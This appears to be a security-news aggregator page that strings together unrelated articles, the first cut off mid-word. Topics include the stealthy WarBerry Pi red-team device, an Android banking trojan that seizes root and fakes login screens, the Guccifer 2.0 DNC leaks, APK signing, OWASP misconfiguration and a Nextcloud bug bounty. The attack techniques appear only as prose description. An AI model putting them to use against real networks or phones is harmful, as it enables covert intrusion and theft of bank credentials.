随着“互联网+”、智能制造等新兴业态的快速发展,工业控制系统、智能技术应用、云计算、移动支付领域面临的网络安全风险进一步加大。黑客组织和网络恐怖组织等非国家行为体发起的网络安全攻击也在持续增加,其广泛的影响力和严重的破坏性关乎每一位身处互联网时代人的日常生活。信息安全,谁来帮我?随着网络空间地位的日益提升,网络空间已成为各国家、地区间安全博弈的新战场。世界各国为确立其在网络空间中的优势地位,不断加强网络空间攻击能力,国家级网络冲突爆发的风险不断增加。躲避“战争的硝烟”,谁来帮我们?

为了促进国内外网络安全界的交流,提升我国网络安全保护能力和技术水平,推动我国网络信息安全领域“产、学、研、用”的结合,大会以“全球化的网络安全”为主题,由主题峰会和四个分论坛(云安全和电商安全、威胁情报实践与应用、网络安全新技术与企业安全应用论坛、大师讲堂)组成,将聚焦探讨安全热点技术与行业应用话题,引入、借鉴国际信息安全领域最前沿的防护理念与技术成果,洞见交流全球信息安全最新发展趋势,从而推动我国网络安全保障体系建设,提升国家重点行业网络安全防护水平。

据中国网络安全大会组委会介绍,本届大会具有四大特色和九大看点。

四大特色 特色一:平台化

为国内信息安全厂商搭建沟通平台,国内唯一一个服务全产业的大会,覆盖所有国内安全厂商,包括腾讯、百度、阿里、启明星辰、360、绿盟、天融信、北信源、飞天诚信、卫士通、瑞星等。

特色二:国际化

以推动实现可管可控网络强国为目标,以助力提升国内信息安全技术水平为宗旨,为国内外厂商搭建面对面的技术交流平台,许多国外众多知名企业将参与大会,包括微软、谷歌、思科、IBM、甲骨文、思博伦、赛门铁克、卡巴斯基等。

特色三:行业化

贯彻“互联网+”国家发展战略,打造促进产业经济变革的重要纽带,来自各行业的近百家专业联盟共同协办本次盛会,为各行业用户与安全厂商搭建沟通合作的桥梁。据目前最新统计,50%的大会参会者来自电信、金融、政务、制造、汽车等行业。

特色四:创业创新

网络安全的发展离不开技术创新和新型创业企业的成长壮大。本届大会通过定向邀请和优惠条件,鼓励信息安全初创企业和投资机构参与大会。天空卫士、知道创宇等创新企业将现场展示最新研发的新产品和解决方案。

九大看点 看点一:如何反诈骗

在互联网时代,渗透到生活方方面面的移动互联网在给我们带来便捷的同时,也给我们带来了困扰,由信息泄露引发的千奇百怪的诈骗方式层出不穷,给社会造成巨大经济损失的同时,也严重影响了网民的日常生活。

在本届大会,腾讯资深安全专家邵付东将从全局着眼,以“守护网民安全,大数据驱动反诈骗”为主题为大家解读互联网时代的网络安全技术反诈骗;中国移动研究院所长助理张峰则从细微处入手,进一步讲述在钓鱼欺诈日益猖獗发展的今天,面对一条不超过70字的诈骗短信,如何寻求破解之法。

看点二:区块链技术与网络安全的应用

近年来,“区块链”的字眼频频出现在各大媒体的科技和金融版面。区块链技术起源于比特币交易,用来记录比特币交易的巨大账单,交易账单由全球的计算机网络验证和共享。作为一种技术体系,区块链因为与比特币的紧密联系而首先被金融行业关注,但是这个技术体系却能够应用于任何行业或商业场景。

麦肯锡报告中如是说,“区块链技术,是继蒸汽机、电力、信息会谈互联网技术之后,目前最有潜力触发第五轮颠覆性革命浪潮的核心技术”。但也有人说区块链是一个骗局,因为交易速度太慢,区块链离不开比特币,而且有人用比特币来洗钱,所以不看好区块链。

如何正确看待这两派说法?区块链技术与网络安全有着怎样的关系?区块链技术离开密码与安全是无法实现的。区块链技术本身又在解决去中心化、信任机制、共识机制、智能合约等,和网络安全密切相关。北京航空航天大学国家“千人计划”特聘教授、美国亚利桑那州立大学计算机科学与工程系实验室主任蔡维德将以“区块链是国家战略或者是骗局?――它将不只是世界投资的热点”为主题,从历史、技术(软硬件加密以及系统)的角度来帮我们分析解述,并将与大家分享其最新的研究方向和成果。

看点三:国内外网络安全发展趋势

当前网络安全新兴的技术趋势是怎样的?全球政企普遍面临的安全风险和挑战有哪些,国际上是怎样应对的(组织架构,战略规划,管理流程,标准规范,技术方案,培训教育等)?云安全联盟大中华区主席、华为首席科学家/网络安全CTO李雨航将以政府客户(美国联邦政府,欧盟),企业标杆(美国微软,中国华为),行业组织(CSA,ISO)为案例,介绍他们的部分最佳实践,最后对中国与欧美的差异作对比和建议。

看点四:国家网络基础设施的网络安全

名称、地址和路由是互联网的根基,是互联网安全稳定运行的基础。做好云时代的安全保障工作,基础资源安全保障工作不可或缺。

中国互联网络信息中心CNNIC主任助理、首席安全官胡安磊将在“云时代的网络基础资源安全”中现场阐述安全的基础资源服务对于云时代社会经济发展的重要意义及我国目前域名和IP地址的现状、问题和发展趋势;清华大学网络科学与网络空间研究院研究员段海新将以“内容分发网络(CDN)安全的实证研究”为主题做精彩分享,并现场呈现其最新研究成果。

看点五:国际厂商大会动向

国际知名厂商对中国网络安全市场的重视值得关注。思科近日发布了《2016年度安全报告》,思科大中华区安全业务总经理庄敬贤将发表演讲,现场发布最新的网络安全产品和解决方案,包括专注于威胁防御的全集成新一代防火墙。在IBM首席资讯安全架构师李承达“IBM X-Force如何抵御未知威胁”的演讲中,参会听众得以一z

Warberry Pi: The stealthy way to slink past business security

$
0
0

A new evolution of the Raspberry Pi device, the WarBerry Pi, could become a key component for red teams who want to test network security as stealthily as possible.

According to the project's description on GitHub , the WarBerry was designed with one goal in mind, "to be used in red team engagement where we want to obtain as much information as possible in a short period of time with being as stealth[y] as possible."

To use the WarBerry, which is based on the popular credit card-sized Raspberry Pi computer, you merely find a network port and plug it in. The developer of the project, SecGroundZero, says the device's scripts have been created in a way to reduce network noise as much as possible, which in turn will -- hopefully -- keep the device hidden and able to avoid detection.


Warberry Pi: The stealthy way to slink past business security
Warberry Pi: The stealthy way to slink past business security

The WarBerry is laden with scripts which have stealth in mind, and once connected to a network, will sniff packets and monitor network activity. Some of the data collected by the device includes IP addresses, MAC addresses and hostnames.

Once hooked up to a network, the user can remotely access the WarBerry through an SSH tunnel and review information collected on the network and stored in the "results" folder.

Such devices have value in the penetration testing world as they can gather network information quickly and without fuss, and they can also be used as a stealthy way to test a business' employees and security practices.

Red teams are sometimes asked to try and infiltrate a business network -- whether through the web or physically through social engineering -- and entering a property to install a WarBerry could one of these tasks.

SecGroundZero told Help Net Security :

"The low cost of a device running Warberry Pi makes it expendable. You can put it in place, exfiltrate the data from a remote location, all without the need to recover the device. Through the use of WarBerry Pi we train blue teams to be on the lookout and to identify such activity inside their network in order to block it and protect their organization."

The developer has stipulated the WarBerry is for use in academic and tester settings only with permission from network owners, and will, therefore, take no responsibility for the device being used for more nefarious purposes. However, the device is only one of many which are available to cyberattackers today which can be twisted for other purposes.

D-Link debuts its first IFTTT-compatible security camera and commits to supporti ...

$
0
0

D-Link continues to move away from the exclusively walled-garden approach it took when it entered the smart-home market in 2014 . In addition to boasting a 180-degree field of view, ts latest wireless home security camera― the DCS-8200LH ―includes IFTTT support, enabling it to interact with connected-home devices from other manufacturers. D-Link has also pledged to introduce future cameras that will support Apple’s HomeKit platform.

The DCS-8200LH captures video in 720p resolution and stores it on a local microSD card (up to 128GB capacity, but there is currently no cloud-storage option). De-warping technology will reduce the visual distortion you’d otherwise get from such a wide-angle lens, while h.264 and MJPEG compression will shrink the size of its video-capture files. Infrared LEDs enable the camera to see objects in the dark up to 16 feet away.

Buyers will also be able to incorporate the camera into D-Link’s own MyDlink smart-home platform, along with the company’s motion sensor, leak sensor, smart plug, and siren that also offer IFTTT support.

D-Link commits to Apple’s HomeKit

In separate news, D-Link announced Thursday that it has committed to support Apple’s HomeKit platform, starting with a new wireless home security camera that will ship later this year.Apple unveiled a new centralized connected-home app called Home at its recent developers’ conference, aiming to bring together what so far has been a decentralized and disparate platform.

HomeKit’s integration with Siri will allow for voice control of this upcoming camera, and for the first time among any D-Link connected home product, allow customers to directly control a D-Link device outside of the MyDlink app.

Why this matters:It looks as though D-Link has concluded that most customers don’t want smart-home products that are restricted to operating exclusively in one vendor’s ecosystem. While the consistency of a single user interface and one tech-support site is comforting to some, the enthusiasts and early adopters who are key to growing this market chafe at such restrictions.

Fear your on-premises security, not the cloud

$
0
0

A new research report from cloud security provider CloudLockargues that more than a quarter of cloud workloads used in corporate environments are "high risk." Of course, CloudLock is biased; it makes a living spreading FUD about security, tapping into old-school IT fears about cloud computing. Its conclusions are largely foregone.

Although this is yet another self-serving report from a vendor, it's a good opportunity for me to make sense of this information for everyone else.

First, the alternative to using the cloud is to leave the applications pretty much unprotected on premises.

On-premises systems -- not cloud-based workloads -- have been the favorite target of hackers in the last several years. Why? Because collectively, organizations have been doing a pretty good job of securing applications as they migrate to the cloud, incorporating the newest technologies and placing a sound layer of security around them.

It's true that organizations moving applications to the cloud without a thought on how to improve security will find that their risk of hacking is about the same in the cloud as within the local data center. That's not a risk from the cloud but from poor IT.

Second, this report operates on the premise that the cloud is inherently riskier and claims you need special technology to remove that risk. (Gee, I wonder where you can buy that technology?)

You likely need better approaches to security and security technology than you have today. Migrating to the cloud provides an opportunity to do so and brings in more security resources from the cloud provider than most organizations can muster themselves.

Again, the security risks of the cloud platforms themselves are low, which is why hackers focus on your on-premises deployments instead. What does that tell you?

There is a lot of misinformation, including self-serving FUD from security and om-premises providers to drive sales, as well as overoptimism from cloud providers that downplays the real risks (also to drive sales).

Either approach can be harmful, but on balance the bulk of the misinformation comes from the security and on-premises providers. IT organizations should be careful not to let their own fears and prejudices be abused by such tactics. Yes, verify cloud providers' claims -- doubly do so with claims from those who try to steer you away from the cloud.

Android APK签名原理及方法

$
0
0

一 Android签名机制及原理

Android系统在安装APK的时候,首先会检验APK的签名,如果发现签名文件不存在或者校验签名失败,则会拒绝安装,所以应用程序在发布之前一定要进行签名。给APK签名可以带来以下好处:

应用程序升级

如果想无缝升级一个应用,Android系统要求应用程序的新版本与老版本具有相同的签名与包名。若包名相同而签名不同,系统会拒绝安装新版应用。

应用程序模块化

Android系统可以允许同一个证书签名的多个应用程序在一个进程里运行,系统实际把他们作为一个单个的应用程序。此时就可以把我们的应用程序以模块的方式进行部署,而用户可以独立的升级其中的一个模块。

代码或数据共享

Android提供了基于签名的权限机制,一个应用程序可以为另一个以相同证书签名的应用程序公开自己的功能与数据,同时其它具有不同签名的应用程序不可访问相应的功能与数据。

应用程序的可认定性。

签名信息中包含有开发者信息,在一定程度上可以防止应用被伪造。例如网易云加密对Android APK加壳保护中使用的“校验签名(防二次打包)”功能就是利用了这一点。

签名原理

对一个APK文件签名之后,APK文件根目录下会增加META-INF目录,该目录下增加三个文件:

MANIFEST.MF
NETEASE.RSA
NETEASE.SF

其中.RSA文件还可能是.DSA文件,RSA与SF文件的文件名可以更改,但是它们的命名必须一样。

MANIFEST.MF中保存了APK里所有文件的SHA1校验值的BASE64编码,格式如下(一个文件对应一条记录):

Name: res/anim/abc_fade_in.xml
SHA1-Digest: ohPEA4mboaFUu9LZMUwk7FmjbPI=
Name: res/anim/abc_fade_out.xml
SHA1-Digest: MTJWZc22b5LNeBboqBhxcQh5xHQ=

SF文件里保存了MANIFEST.MF文件的SHA1校验值的BASE64编码,同时还保存了MANIFEST.MF中每一条记录的SHA1检验值BASE64编码,格式如下:

SHA1-Digest-Manifest: ZRhh1HuaoEKMn6o21W1as0sMlaU=
Name: res/anim/abc_fade_in.xml
SHA1-Digest: wE1QEZhFkLBWMw4TRtxPdsiMRtA=
Name: res/anim/abc_fade_out.xml
SHA1-Digest: MfCV1efdxSKtesRMF81I08Zyvvo=

RSA文件则包含了签名的公钥、签名所有者等信息,还保存了http://my.oschina.net/u/816213/blog/685762?fromerr=RSS3IhKo用SHA1withRSA签名算法对SF文件的签名结果信息。

Android系统就是根据这三个文件的内容对APK文件进行签名检验的。

二 Android 签名方法

1、apksign、jarsinger

一般的签名过程可以由apksign.jar或者jarsinger.jar完成。apksign.jar由Android SDK提供,使用方法如下:

java -jar signapk.jar testkey.x509.pem testkey.pk8 update.apk update_signed.apk

它接受一个PEM公钥文件,PK8私钥文件,对update.apk进行签名,签名后的文件保存到update_signed.apk。

jarsinger是由JDK提供,使用方法如下:

jarsigner -verbose -keystore d:\\debug.keystore -signedjar update_signed.apk update.apk androiddebugkey -digestalg SHA1 -sigalg MD5withRSA -keypass android -storepass android

其中:

-keystore表示keystore文件的路径

androiddebugkey 表示keystore中的一个别名

-digestalg表示摘要算法

-sigalg 表示签名算法

-keypass 表示别名密码

-storepass表示keystore密码

经过测试,发现以上两个传统的签名工具存在以下缺点:

1)、jarsigner在对一个已经有META-INF目录的APK进行签名的时候,有可能会报错:

jarsigner: 无法对 jar 进行签名: java.util.zip.ZipException: invalid entry compressed size (expected 1368 but got 1379 bytes)

2)、如果APK中已经有签名文件且签名文件中的RSA(或DSA)、SF文件的命名不是CERT的时候,用这两个签名工具进行签名后,会出现:

META-INF目录下会有两个RSA/SF文件,会导致APK在安装的时候失败。

3)、签名花费时间长。这两个签名工具在生成签名后的APK时,是按Zip中一个entry接一个entry 依次拷贝的,效率十分低。因为游戏类型APK类文件数量一般比较多,所以这一缺陷在签名游戏类型APK时,体现得尤为明显。

2、极速签名工具(ApkSinger)

极速签名工具 克服了signapk.jar与jarsigner在签名过程的缺点,使用方法:

java -jar ApkSigner.jar [-appname test] -keystore keystorePath -alias alias [-pswd password] [-aliaspswd aliasPassword] apkPath(or directory)

-appname待签名的应用程序名,可选,但建议不同的APP填上对应的app名

-keystore后跟.keystore签名文件

-alias后跟签名别名

-pswd后跟对应签名的密码,可选,如果不填,则签名的时候需要手动输入

-aliaspswd 对应别名alias的密码,如果没有则默认使用keystore Password

最后跟待签名的APK路径或者目录路径 ,如果跟的是目录则是批量签名.


美国民主党委员会遭黑客“GUCCIFER 2.0”反复打脸

$
0
0

据一家网络安全公司CrowdStrike所报道,该公司的客户之一 ―― 美国民主党委员会服务器 遭到多个技术高超的黑客组织入侵。随后, 黑客 GUCCIFER 2.0宣布对该入侵事件负责。

先来说说GUCCIFER这个人吧。

GUCCIFER 是一个罗马尼亚黑客的昵称。他参与了众多高风险的网络攻击,其中大部分都是针对美国和罗马尼亚的政府高官。他黑过希拉里的邮箱,也黑总统助手比尔克林顿的邮箱等。但是在他 40 岁的时候在罗马尼亚遭到逮捕,随后被美国政府引渡到美国进行宣判,至今未被放出来。

可能某人受到他的影响,自己取了一个昵称叫做 GUCCIFER 2.0 。这个人也不让政府省心,最近就把美国民主党的服务器给黑了,并且在网上泄露众多相关数据。这个黑客也十分的幽默,他对 CrowdStrike安全公司 的报道进行评论 :

“ CrowdStrike 公司说我的技术高超让我感到十分高兴。但事实上是美国民主党委员会的服务器太好入侵了,根本没有什么难度。”

打脸美国民主党

如果大家以为这么简单就结束了,那么大错特错。在入侵结束后,美国民主党委员会就一直被GUCCIFER 2.0黑客打脸。

刚开始,美国民众党发表声明称:这些泄露文件里面并不包含财政数据。

于是 GUCCIFER 2.0 就把民主党获得的捐款名单公布在互联网上……


美国民主党委员会遭黑客“GUCCIFER 2.0”反复打脸

接下来,民主党又发表声明称:这些泄露数据里面并没有什么秘密文件。

于是GUCCIFER 2.0又公布一份文件 ,里面包含希拉里担任美国国务卿时候的一些机密信息……


美国民主党委员会遭黑客“GUCCIFER 2.0”反复打脸

这还没完,该黑客还对 CrowdStrike 安全公司进行调侃,建议 CrowdStrike 的客户对这家公司的安全进行思考。 估计在这名黑客未公布全部泄露文件之前,美国民主党和 CrowdStrike 安全公司对不敢乱说什么话了。

*文章来源: wordpress ,FB小编Arthur编译,转载须注明来自CodeSec黑客与极客(CodeSec.Net)

腾讯手机管家精准查杀银行“假面盗贼”病毒

$
0
0

中新网6月12日电 越来越强大的手机支付功能让用户在享受便利的同时,也面临着严重的安全威胁。日前,腾讯手机管家查杀了一个名为“假面盗贼”的手机支付类病毒,该病毒可以伪装成银行相关热门应用,诱导用户下载,一旦安装激活便会盗取用户银行账户和密码,私自拦截和上传用户短信内容(如验证码)到指定号码,甚至获取Root权限,强制关闭杀毒软件,让用户的个人信息及财产安全缺乏保障。

目前,包括中国银行、交通银行、工商银行、招商银行、建设银行、农业银行、邮储银行在内的各大银行均受到了侵害。据了解,腾讯手机管家已经支持精准查杀该“假面盗贼”病毒,可以对伪装成信用申请平台(交通)、农行理财e站、邮政资质_平台、工行融E购客户端、招商快捷申办平台、中行快捷申办平台、中国建设ccb等应用的病毒软件进行风险识别和有效拦截。

谈及该病毒的“作案”细节,腾讯手机管家安全专家以交通银行为例介绍,带有“假面盗贼”病毒的软件――信用申请平台(交通)伪装成官方APP,诱导用户下载并安装,软件一启动便会申请Root权限,获取权限后强制关闭安全软件,企图躲过“追杀”,同时引导用户激活设备管理器并打开辅助功能。当用户打开交通银行等APP的登录界面时,病毒会开启一个仿冒的登录页面并强制置顶,轻松实现盗取银行账号和密码的目的。


腾讯手机管家精准查杀银行“假面盗贼”病毒

(图:“假面盗贼”病毒获取用户Root权限、激活任务管理器)


腾讯手机管家精准查杀银行“假面盗贼”病毒

(图:“假面盗贼”病毒仿冒交通银行登录页面)

如今手机支付类病毒猖獗,“假面盗贼”病毒只是其中一种类型。据腾讯移动安全实验室发布的《2016年第一季度手机安全报告》显示,2016年第一季度Android手机病毒包新增3830296个,手机染毒用户达到9505.9万人次,同比增长39.45%。其中新增手机支付病毒包达到17.6万个,感染手机支付病毒用户人次达到780.2万,同比增长41.23%。这些病毒不仅盗取用户个人信息,还让其面临大量财产损失的可能。

对此,腾讯手机管家安全专家建议广大用户:

首先,安装腾讯手机管家等专业安全软件,及时查杀手机病毒。而且,腾讯手机管家还具备手机支付环境安全检测、支付类应用官方正版检测等全方位的手机支付安全防护功能。


腾讯手机管家精准查杀银行“假面盗贼”病毒

(图:腾讯手机管家查杀“假面盗贼”病毒)

此外,在下载APP时,最好选择APP官方网站、或在类似应用宝等规模较大的安全电子市场,尽量避免手机论坛、无安全检测措施的电子市场、小型软件资源站等平台所引发的安全风险。

OWASP TOP 10: Security Misconfiguration (#5)

$
0
0

OWASP is a non-profit organization with the goal of improving the security of software and internet. They have put together a list of the ten most common vulnerabilities, which we will cover one by one in this blogpost-series. This is the fifth post, and you will be able to find the rest byclicking here.


OWASP TOP 10: Security Misconfiguration (#5)
Description

The fifth vulnerability category on the list is called Security Misconfiguration. If a component is susceptible to attack due to an insecure configuration it would classify as security misconfiguration.This is considered the same vulnerability regardless if the misconfiguration happens in the web server, database or, for that matter, custom code.

Prevalence

As it is such a broad category it is very common vulnerability. A web application is built upon multiple layers, and making a configuration mistake in one of them is quite likely.

Potential impact

The impact varies and depends on the specific kind of misconfiguration. Atworst, it could lead to a full takeover, which means stolen sensitive data and expensive recover.

Exploitability

In many cases this is one of the easiest vulnerabilities to exploit. For example, if a system admin forgets to delete a default account with admin privileges, all an attacker has to do is to simply google the default credentials to login.

However, there can of course be more difficult alternatives of this vulnerability type that require more knowledge. All misconfigurations do not result in a possible full takeover, but may be used aspart of a bigger attack.

Well-known events

Werkzeug Debugger included a console, allowing a user to execute system commands. Some exposed that interface to the internet, which would result in an RCE (remote code execution). An example of this that has received a lot of attention is when we found this vulnerability at Patreon .

How to discover

The only way to discover security misconfigurationsis to start looking over the system.

Are any default accounts left, and if so, have thepasswords to those been changed? When it is possible to enforce better security in a framework, are those options chosen? Are there any unnecessary features installed/enabled that can be removed? Accounts, unnecessarily many privileges, ports, etc. As it is one of the most common issues; does the error handling reveal overly informative error messages to users? Example of vulnerable application

A great example that helps understand this issue is the aforementioned Patreon case. There is often some feature allowing debugging the system. If that is exposed towards the internet and not behind any authorization, any user could abuse it for their purpose.

Prevention Make sure everything is updated. Build the system in such way that software updates and patches can be deployed in a timely manner. Use the very same configuration for staging, production and developing environments. Inconsistencies are a common reason for the introduction of many misconfigurations. Automate what can be automated. Humans are good at making mistakes, and if the same setup procedure is performed often, it is better to make sure it is secure once and then just repeat it. Doing scans and/or audits regularly to discover future misconfigurations. When possible, configure the system with the thought in mind that the system will get compromised because that is very likely. In case of a security breach, an attacker should only be able todo very little damage. Read more

OWASP:

https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration

Our blog:

How Patreon got Hacked : Publicly Exposed Werkzeug Debugger

Author:

Linus Srud, Security Researcher

Twitter: @_zulln

360安全卫士要登陆Steam 被网友猛烈评论

$
0
0

【PConline 资讯】国产安全软件360安全卫士,即将登陆国际著名的游戏软件社区:Steam商店。目前360安全卫士已经出现在 Steam青睐之光(Steam Greenlight)社区投票项目里,只要攒够足够多的票数,360安全卫士就能登陆Steam商店的软件区。

软件名称: 奇虎360安全卫士国际版 软件版本: 5.0 Beta 软件大小: 24.12MB 软件授权: 免费 适用平台: Win2000 WinXP Win2003 Vista Win8 Win7 下载地址: http://dl.pconline.com.cn/download/356853.html
360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论

Steam软件区下属分类

360安全卫士Steam版有什么功能

根据页面描述,360安全卫士自称是PC 游戏 最佳安全伴侣,它不会影响您的电脑性能,武装您的电脑、让你的PC免受病毒、木马等威胁,为您的PC提供安全完整的保护。

360安全卫士Steam版的功能包括:电脑体检、病毒扫描、系统加速、垃圾清理和软件沙箱。


360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论

360安全卫士Steam版功能

其实是360安全卫士国际版

但是我们发现,在Steam青睐之光里的这款360安全卫士,与我们常常见到的360安全卫士完全不同,界面简洁清新、甚至还挺炫酷的,与360安全卫士国际版相似度高达99%。所以可以肯定的是,即将上架Steam的这款360安全卫士,肯定不是我们经常看到那款“你已经击败全国9.9%用户”的360,极有可能是干净简洁的360安全卫士国际版。


360安全卫士要登陆Steam 被网友猛烈评论

360安全卫士国际版


360安全卫士要登陆Steam 被网友猛烈评论

专门为老外设计的360安全卫士国际版

你会去点赞还是点不?

虽然如此,但是一听到360安全卫士即将登陆Steam的消息,大批网友马上赶到评论区,纷纷竖起了中指,笔者不知道这个表情是什么意思(才怪),Steam也没有公开青睐之光的投票票数,点赞和点不的人数有多少,暂时还真的没能查到。


360安全卫士要登陆Steam 被网友猛烈评论

网友纷纷表达对360安全卫士讲登陆Steam的意见


360安全卫士要登陆Steam 被网友猛烈评论

评论瞬间破千

回想起360安全卫士国际版刚发布的时候,清新简洁,功能够用,主要是没有各种弹窗和恐吓式营销,让笔者顿时感觉 “中国用户不是人吗?”,为何给老外做的东西就这么高大上 。


360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论
360安全卫士要登陆Steam 被网友猛烈评论

360要登陆Steam,你怎么看,欢迎留言。

什么是 Steam 青睐之光?

Steam 青睐之光(Steam Greenlight)是一个征集社区帮助,挑选 新游戏 在 Steam 上发布的系统。开发者为他们的游戏发布信息,截图和视频,然后 得到足够的社区支持,使游戏能被选中,最终发布 。Steam 青睐之光同时帮助开发者获取来自潜在顾客的反馈,并在开发期间为游戏创建一个足够活跃的社区。


360安全卫士要登陆Steam 被网友猛烈评论

Steam 青睐之光(Steam Greenlight)

Steam青睐之光360安全卫士投票地址: http://steamcommunity.com/sharedfiles/filedetails/?id=699569979

Nextcloud, Bug Bounties and me

$
0
0

It is a well-known fact that I’m a vocal supporter of Bug Bounty programs. I do believe that running a fair and engaging bug bounty program is a great addition to any software security process.

My personal experiences with Bug Bounties go back to the end of 2011 where somebody made me aware of the Google Bug Bounty program. Of course my initial gut reaction was more like: “Finding security bugs in Google products? That must be impossible. They have a ton of Security Engineers.”

Just a short time later it turned out that I was wrong. Finding security bugs in Google’s web services was indeed possible and actually no kind of big magic was required. So I earned quite some nice money with the Google Vulnerability Reward program, helping keep Google users safe. This experience has taught me that having a nearly never ending additional set of eyes on a product is a fantastic thing to have. And believe me, finding bugs in Google’s web services is nowadays way harder than it was before: bug bounty programs WORK.

Thus it makes me very happy to share today that Nextcloud is launching a Bug Bounty program on HackerOne. I have a good amount of experience with the HackerOne platform and their work is really a good thing for the security of the internet overall.

We’re aiming to offer a competitive and healthy bug bounty for Nextcloud and that means serious rewards to make sure it is worth the time of serious security experts to look at our code. Ours go up to $5,000, some of the highest in the open-source world! And if you look at what big multi-billion dollar companies do offer I believe this is a very competitive offering.

Of course, there have been bad experiences with some bug bounty programs. I also myself had some troubles with some bug bounty programs (looking at you here, Yahoo!). I know how time consuming this task can be and thus I will personally ensure:

We will review all submissions within 72 hours. We will pay out bounties quickly after our validation of the report. We will credit and fully publicly disclose the bug reports and their reporters’ work If you have any questions about the program please do not hesitate to reach out to us at[emailprotected]
Viewing all 12749 articles
Browse latest View live




Latest Images